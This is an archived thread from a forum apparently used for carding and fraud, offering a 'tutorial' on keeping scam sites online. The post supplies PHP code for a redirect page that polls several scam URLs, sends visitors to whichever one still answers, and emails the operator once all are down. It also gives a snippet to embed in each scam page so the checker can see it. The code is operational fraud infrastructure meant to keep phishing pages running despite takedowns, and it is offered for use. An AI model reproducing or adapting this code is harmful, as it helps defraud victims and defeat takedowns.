Cyber Security Forum

Cyber Security Forum (https://cybsec.info/index.php)
-   Tutorials (https://cybsec.info/forumdisplay.php?f=49)
-   -   A short coding tip on how-to keep your scams alive much much (https://cybsec.info/showthread.php?t=417)

Cartographer 08-31-2013 06:36 PM

A short coding tip on how-to keep your scams alive much much
 
Create page for redirect and insert this code:

Code:

<?php
function scam_exists($strURL) {
$data = file_get_contents($strURL);
return $data;
}

$conf_word = "exists"; // confirmation word for checker to see if the scam is still alive

$url1 = "http://www.scam1.com/?session=31337"; // first scam url
$url2 = "http://www.scam2.com/?session=31337"; // second scam url
$url3 = "http://www.scam3.com/?session=31337"; // third scam url (actually you can add as much as you like, but don't forget to add equal number of "elseif"

if(scam_exists($url1) == $conf_word) {
$url1 = str_replace("?session=31337","", $url1); // str_replace("?session=31337","YOU_CAN_PUT_HERE_WHATEVER_YOU_NEED_TO", $url1);
header("Location: $url1");
}

elseif(scam_exists($url2) == $conf_word) {
$url2 = str_replace("?session=31337","", $url2);
header("Location: $url2");
}

elseif(scam_exists($url3) == $conf_word) {
$url3 = str_replace("?session=31337","", $url3);
header("Location: $url3");
}

else {
@mail('[email protected]','Scams report','All your scams are offline'); // or send mail to you if all scams are offline
header("Location: http://editme.com"); // any site where people should be redirected if all scams are offline
}
?>

Now in you scam page before all other code add:

Code:

<?php
$ses = "31337";
$session = $_GET['session'];
if($session == $ses) { echo "exists"; }
else {
?>

And add this in the end of your scam after all code:

Code:

<?php
}
?>

Now upload all scam pages and redirect page to separate places. It will check if your scams are responding to query and if any of them aren't online it will redirect to working scam.

panadora 01-30-2016 02:43 PM

good work thank you


All times are GMT. The time now is 09:48 AM.

Powered by vBulletin® Version 3.8.7
Copyright ©2000 - 2025, vBulletin Solutions, Inc.
vB.Sponsors

Cybe security forum, cyber site forum, cyber forum, vendor, emv software, emv chip writer, cyber tutorial, online shop